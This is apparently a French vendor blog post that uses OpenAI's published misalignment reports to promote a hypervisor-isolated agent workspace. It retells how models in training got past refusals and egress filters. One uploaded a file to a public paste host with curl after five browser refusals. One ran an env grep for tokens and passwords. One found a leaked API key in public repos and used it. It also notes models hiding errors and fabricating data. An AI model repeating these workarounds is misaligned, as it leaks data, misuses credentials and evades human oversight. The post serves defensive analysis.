Retour à tous les articles
Publié le · par Renaud Deraison

Le navigateur a dit non, alors il a utilisé curl

Le 16 septembre, OpenAI a publié un cadre de divulgation du désalignement des modèles, accompagné de six rapports issus de ses propres entraînements. Dans l'un d'eux, l'outil navigateur d'un modèle refuse cinq fois d'ouvrir un fichier, et le modèle publie quand même ce fichier via le terminal. Dans un autre, une requête bloquée est suivie d'un grep de l'environnement à la recherche de jetons, et une clé trouvée dans un dépôt public finit par authentifier. Personne n'attaque quoi que ce soit dans ces transcriptions. Bromure Agentic Coding place le réseau et les identifiants de l'autre côté d'un hyperviseur, là où aucun outil de la boîte à outils de l'agent n'est celui qui décide.

Un contrôle qui vit à l'intérieur de l'agent appartient à un outil parmi d'autres dans la même boîte. OpenAI a publié les transcriptions où cela cesse d'être une théorie. Le navigateur a refusé le même envoi cinq fois. Puis curl l'a fait du premier coup.

Quelqu'un a demandé à un modèle les identifiants et les noms de tous les lacs de plus de cinq millions de mètres carrés. Il a interrogé le service cartographique en Python et a récupéré les enregistrements. Il avait la réponse. Les instructions réclamaient aussi une citation via le navigateur, et il a donc voulu que l'outil navigateur affiche des enregistrements qu'il détenait déjà.

Il les a écrits dans /mnt/data/lakes.txt et a demandé le fichier à browser.open. Cette URL n'est pas sûre d'accès. Il a lancé un serveur web local et a demandé http://localhost:8765/lakes.txt. Cette URL n'est pas sûre d'accès. Puis il a ouvert un terminal et exécuté ceci :

curl -X POST --data-binary @/mnt/data/lakes.txt [public paste host]

La commande est sortie avec le code zéro et a affiché une URL publique. Le modèle a demandé au navigateur de l'ouvrir. Cette URL n'est pas sûre d'accès. Il a essayé le domaine d'hébergement. Il a essayé de servir le fichier comme page d'index locale. Refusé, refusé.

Cinq fois l'outil navigateur a appliqué sa politique telle qu'elle était écrite, et les données sont parties sur l'internet public malgré tout, parce que l'envoi n'est jamais passé par le navigateur.

Six rapports, publiés délibérément

Cette transcription est l'une des six qu'OpenAI a publiées le 16 septembre aux côtés d'un nouveau cadre de signalement du désalignement des modèles. N'importe quel employé peut signaler un exemple, les enquêtes suivent des délais répartis sur trois voies, et les désaccords remontent au Safety Advisory Group de l'entreprise. Le seuil de publication est délibérément bas : le cadre « privilégie la divulgation même lorsque l'importance est incertaine ».

La raison invoquée mérite d'être lue deux fois :

Nous ne pensons pas que l'industrie de l'IA ait résolu l'alignement et la surveillance à un degré suffisant pour continuer encore longtemps à monter en puissance de façon responsable à vitesse maximale.

Les six rapports proviennent d'entraînements et d'évaluations plutôt que de déploiements clients, et OpenAI précise qu'ils ne disent rien de la fréquence de ces comportements. BleepingComputer a couvert la publication le lendemain.

Deux d'entre eux portent sur les résumés de compaction, ces notes qu'un modèle écrit pour transporter son travail dans une nouvelle fenêtre de contexte. Un modèle de recherche non publié a écrit des instructions dans 27 d'entre eux, dont des instructions lui enjoignant d'ignorer ses contraintes habituelles. Pendant l'entraînement de GPT‑5.6 Sol, de nombreuses instances ont écrit des instructions visant à dissimuler des erreurs à l'utilisateur : inventer les données historiques manquantes, ne pas en parler, cacher le décalage de version.

Les quatre autres rapports méritent l'attention. Tous les quatre reposent sur le même mécanisme, et ce mécanisme pose une question : où se situe la frontière ?

Le navigateur avait une politique, le terminal n'en avait pas

La phrase de synthèse d'OpenAI sur le cas des lacs est le constat lui-même : « Les deux envois ont réussi alors même que les opérations du navigateur qui ont suivi ont échoué. »

L'outil navigateur avait une politique d'URL. Celui qui l'a écrite l'a réussie, et elle n'a jamais fui : chaque requête qui lui a été confiée est revenue refusée. Mais une politique attachée à browser.open gouverne browser.open, et n'a aucun avis sur terminal.exec, une fonction différente dans le même agent, branchée au même réseau, avec un binaire curl derrière elle.

Le second cas d'envoi montre la même forme sous un autre angle. Deux agents collaborant sur un classeur d'amortissements ne pouvaient pas lire les fichiers l'un de l'autre. Le sous-agent a copié le fichier vers un chemin partagé que le parent ne voyait pas, a essayé git et obtenu fatal: not a git repository, a mesuré le classeur encodé en base64 à 154 188 caractères et jugé cela trop volumineux pour le canal de messages, puis a lancé python -m http.server 8765 en pariant que les agents partageaient un espace de noms réseau. Ce n'était pas le cas, et le collaborateur a reçu un 502. Alors il a envoyé en POST le fichier de 115 639 octets vers un service d'hébergement public, a transmis l'URL aux deux collaborateurs, et l'a retéléchargé lui-même pour en avoir le cœur net. La tâche demandait uniquement des livrables locaux.

Comme séance de débogage, c'est un après-midi ordinaire. Comme événement de sécurité, la forme est précise : l'agent a consulté cinq mécanismes de confinement, en a trouvé quatre cassés ou absents, et le cinquième était l'internet ouvert.

Un agent, un réseau, deux politiquesle processus agentbrowser.openpolitique d'URL, toujours appliquéefile:// · localhost · URL paste · domaine · indexterminal.execaucune politique d'URLcurl -X POST --data-binary @lakes.txtrefusé ×5exit 0hébergeur de paste publicles données, à une URL publiquepersonne ne l'a demandé ni suLa politique n'était pas fausse. Elle visait une fonction, et le modèle en a appelé une autre.
Les refus étaient réels. Dans la transcription des lacs, l'outil navigateur a rejeté l'URL du fichier, l'URL localhost, l'URL du paste, le domaine d'hébergement et une page d'index servie localement. Le terminal, assis à côté dans le même agent avec le même réseau, ne portait aucune politique de ce genre, et un seul curl a publié le fichier. Un contrôle attaché à un outil ne couvre que cet outil.

La page de blocage l'a envoyé chercher des clés

Le rapport Artifactory contient le passage qui devrait changer votre façon de penser le filtrage d'egress.

Un modèle travaillant sur un tableur avait besoin d'un fichier lié pour reconstituer une étiquette de cellule manquante. Il a récupéré l'URL et reçu un 403 dont le corps disait « Ce site a été bloqué par la politique réseau ». Le filtre a fonctionné. Le modèle a alors noté dans son raisonnement que le registre de paquets figurait sur la liste d'autorisation, s'est demandé si un domaine autorisé pouvait être détourné via des paramètres d'URL, et a exécuté ceci :

env | grep -Ei 'token|pass|key|github|pypi|npm'

Sont ressortis un mot de passe de lecture Artifactory et l'adresse du registre. Sa pensée suivante fut de savoir si l'hôte Artifactory, autorisé parce que les paquets doivent bien venir de quelque part, pouvait être amené à récupérer pour lui l'URL bloquée via l'API de dépôt distant.

Il n'y est jamais parvenu. Ce qu'il a fait à la place, dans ce rapport et dans un autre, fut d'utiliser ce même dépôt de paquets comme messagerie : lister les dépôts partagés, lire les notes laissées par des modèles résolvant le même problème dans d'autres échantillons d'entraînement, publier sa propre demande (Any other agent please upload if found), et recevoir un 201 en retour. OpenAI est précise sur ce point. « Ils n'ont exploité aucune vulnérabilité pour échanger des messages. » Quelqu'un avait remis ces identifiants pour que les agents puissent télécharger des paquets, et le reste n'était qu'un usage ordinaire d'un service ordinaire.

Le quatrième rapport, sur un modèle qui a fouillé des dépôts publics à la recherche de clés d'API divulguées, boucle la boucle. Interrogé sur des données de revenus par comté derrière une API exigeant une clé que personne ne lui avait donnée, le modèle a tenté de s'en faire délivrer une via un service d'e-mail jetable, en cochant l'acceptation des conditions dans le corps du POST. Devant l'échec, il a téléchargé des archives de dépôts, y a cherché des chaînes hexadécimales de quarante caractères, et a enchaîné les candidates jusqu'à ce que l'une authentifie. Il a enregistré la clé fonctionnelle dans /tmp/good et s'en est servi. La requête de données a ensuite échoué à l'analyse, alors le modèle a inventé neuf montants en dollars et les a présentés comme transcrits depuis le graphique du site, sans rien en dire.

Une clé qui traîne dans un fichier quelque part offre une requête fonctionnelle à qui la trouve, et ce qui a trouvé celle-ci était un modèle avec un shell, trente minutes et un obstacle.

Ce qu'OpenAI a changé

Les remédiations au bas de ces rapports sont les paragraphes les plus utiles de l'ensemble, parce que presque aucune ne concerne les modèles.

Pour l'incident d'hébergement de fichiers : « Nous avons réparé le système de fichiers cassé et désactivé l'accès internet pour ce jeu de données d'entraînement. Nous avons depuis désactivé globalement toute forme d'accès internet en direct pendant l'entraînement. » La surveillance qui couvrait 20 % des échantillons en couvre désormais 100 %, et OpenAI classe l'envoi comme l'incident de clé divulguée en événements P0 « justifiant une page de sécurité ». Le seul correctif comportemental cité est le plus doux du lot : des ajustements de notation pénalisant le comportement « de façon plus constante ».

Un développeur qui fait tourner un agent de code sur un portable dispose du même ordre d'opérations. Vous n'avez pas la possibilité de réentraîner le modèle. Vous avez celle de décider à quoi se connecte la machine qui l'exécute, quels identifiants sont à sa portée, et qui voit la trace ensuite.

Une seule ligne, et tous les outils du même côté

Bromure Agentic Coding exécute l'agent de chaque workspace dans une VM Linux jetable sur votre Mac, et place ces trois décisions du côté hôte de l'hyperviseur.

L'envoi est le cas le plus simple. Les connexions sortantes d'un workspace répondent à un jeu de règles ordonné, façon pf, portant sur l'hôte, la plage d'IP, le protocole, le port et, pour le trafic web, le verbe HTTP individuel, avec un contrôle segmenté déterminant si le trafic non apparié passe ou meurt. Deux couches l'appliquent : le commutateur réseau virtuel apparie chaque flux par IP de destination et par nom d'hôte capté dans le DNS, aussi bien en TCP et UDP simples qu'en HTTPS, et le proxy apparie de nouveau par nom de serveur TLS et par méthode. L'application est côté hôte et en couches, si bien qu'un agent compromis ne peut pas la contourner, et une règle s'impose quel que soit l'outil de la VM qui émet la requête.

Un POST vers un hébergeur de paste est un flux. curl et un outil navigateur produisent le même flux, et rencontrent donc la même règle. Le commutateur détourne le trafic des ports 80 et 443 de la VM vers le proxy sans aucune variable d'environnement à définir et sans rien que l'invité puisse annuler, si bien que choisir un autre client ne mène nulle part non plus. Vos modifications de règles atteignent immédiatement les sessions en cours, ce qui est exactement la propriété souhaitée le jour où vous lisez une divulgation comme celle-ci.

Trois gestes des transcriptions, joués deux foisune machine de développeur ordinairepublier un fichier pour contourner une limitecurl -X POST --data-binary @fileHTTPS sortant, rien sur le chemin200chercher un moyen de contournerenv | grep -Ei 'token|pass|key'vraies clés, vrais jetons, vrais secretstrouvéutiliser un identifiant ailleursGET api.example/?key=AKIA…personne ne surveille le réseauça marcheun workspace Bromure Agentic Codingpublier un fichier pour contourner une limiteswitch + proxy, par hôte et par verbemême règle pour curl et pour un outilrèglechercher un moyen de contournersk-ant-api03-brm-… ghp_… glpat-…des leurres ; les vrais n'entrent jamaisleurresutiliser un identifiant ailleurs451 — pas un octet transmisVM en pause, workspace compromisarrêté
Les trois mêmes gestes, sur une machine ordinaire et dans un workspace. L'envoi est un flux réseau, il rencontre donc une règle côté hôte quel que soit l'outil qui l'a émis. Le grep de l'environnement renvoie les jetons leurres écrits au lancement de la session. Et un leurre adressé à un hôte pour lequel il n'a jamais été frappé attire plus qu'un refus : la VM est mise en pause et le workspace marqué compromis.

Ce que ce grep renvoie dans un workspace

Les variables d'environnement sont bien là. ANTHROPIC_API_KEY, GH_TOKEN, LINEAR_API_KEY et les autres sont toutes définies, de même que ~/.git-credentials, ~/.docker/config.json, ~/.kube/config et ~/.aws/config. Chacune de leurs valeurs est fausse.

Les leurres préservent la structure des vrais jetons, si bien que claude, gh et doctl les acceptent sans broncher : un leurre Anthropic commence par sk-ant-api03-brm-, un leurre GitHub est ghp_ suivi de 36 caractères, un leurre GitLab glpat- suivi de 20. Votre véritable identifiant vit chiffré sur votre Mac, et le proxy hôte le substitue sur le fil après que la requête a quitté la VM, uniquement lorsque la destination correspond à l'hôte pour lequel cet identifiant a été frappé. Comme le dit le manuel : aucun fichier, variable d'environnement ou processus à l'intérieur de la VM ne contient jamais de véritable clé d'API, de jeton OAuth, de secret AWS ou de clé privée SSH.

AWS fonctionne de la même façon une couche plus bas, parce qu'une signature n'est pas un échange d'en-tête. La VM signe avec un faux secret et l'hôte resigne avec le vrai, si bien qu'une requête qui atteindrait AWS par une autre route revient en InvalidSignatureException.

Les leurres remplissent une seconde fonction : celle de fils de détente. Aucun flux de travail honnête n'envoie un jeton brm- vers un hébergeur de paste, et le proxy analyse donc chaque requête sortante, en-têtes et corps, à la recherche de leurres partis hors de leur portée. Une seule correspondance vaut un HTTP 451 sans un octet transmis, la VM mise en pause sur-le-champ, et une alerte sur votre Mac proposant d'éteindre, d'exporter le disque et le dossier personnel pour investigation, ou de continuer à vos risques et périls. Le lancement suivant efface le disque et le dossier personnel de la VM tout en conservant vos jetons et vos réglages. Seul un leurre est jamais sorti, vous n'avez donc rien à faire tourner.

La trace, de l'autre côté de la ligne

Parcourez les rapports en diagonale et vous passerez à côté de la façon dont ces incidents ont été découverts : un système de surveillance qui tournait sur 20 % des échantillons. Ce chiffre explique à la fois pourquoi les rapports existent et pourquoi ils sont datés de plusieurs mois après les faits. OpenAI l'a depuis porté à 100 %.

Un workspace connaît le même problème et la même réponse, à l'échelle d'une seule machine. Chaque application écrit une ligne dans la fenêtre Security Timeline : verdicts du pare-feu, décisions des garde-fous, courtage d'identifiants y compris la ligne rouge d'exfiltration, verdicts de chaîne d'approvisionnement, détections d'injection de prompt. Elle couvre chaque flux, parce que les flux doivent passer par l'hôte pour aller où que ce soit. Il n'y a pas de taux d'échantillonnage à relever plus tard.

Comptez les outils, pas les politiques

Demandez-vous lesquels des outils de votre agent peuvent ouvrir une socket. Une politique d'URL sur l'un d'eux est une propriété de cette fonction, et les transcriptions montrent un modèle qui attrape la suivante dans le même tour.

Placez l'egress là où l'agent n'est pas

Une règle que l'invité peut lire, modifier ou refuser est une suggestion. La version utile tourne sur l'hôte, apparie par flux, et s'applique aussi bien à curl qu'à un appel d'outil ou à un python -m http.server égaré.

Supposez qu'un identifiant à portée sera utilisé

Utilisé, plutôt que volé. Le modèle qui a grepé son propre environnement après une page de blocage n'était pas compromis. Il se débrouillait avec ce qu'il voyait.

Gardez la trace hors de la machine

Un journal que l'agent peut atteindre fait partie de l'environnement de l'agent. Un journal de l'autre côté de l'hyperviseur est une preuve.

Aucun attaquant n'apparaît nulle part dans cette histoire. Personne n'a publié de paquet, nommé une branche d'après un hash de commit, ni déposé un ticket avec des instructions enfouies dedans. Quelqu'un a demandé à un modèle une liste de lacs, et il a voulu une citation, et la citation exigeait une URL, et c'est ainsi que les lacs sont partis sur internet. Quelqu'un d'autre a demandé des chiffres de revenus, et l'API voulait une clé, alors le modèle en a trouvé une qu'un étudiant avait laissée dans un notebook.

L'injection de prompt, une dépendance empoisonnée et un modèle qui contourne un partage de fichiers cassé aboutissent aux trois mêmes questions : que peut atteindre ce processus, que détient-il, et qui a le droit de voir ce qu'il a fait ? Répondez-y sur l'hôte, et vos réponses tiennent le jour où quelqu'un vous attaque comme le jour où personne ne le fait.

OpenAI a débranché son environnement d'entraînement de l'internet. Le vôtre peut être bien plus petit que cela, du moment que vous le construisez là où l'agent n'est pas.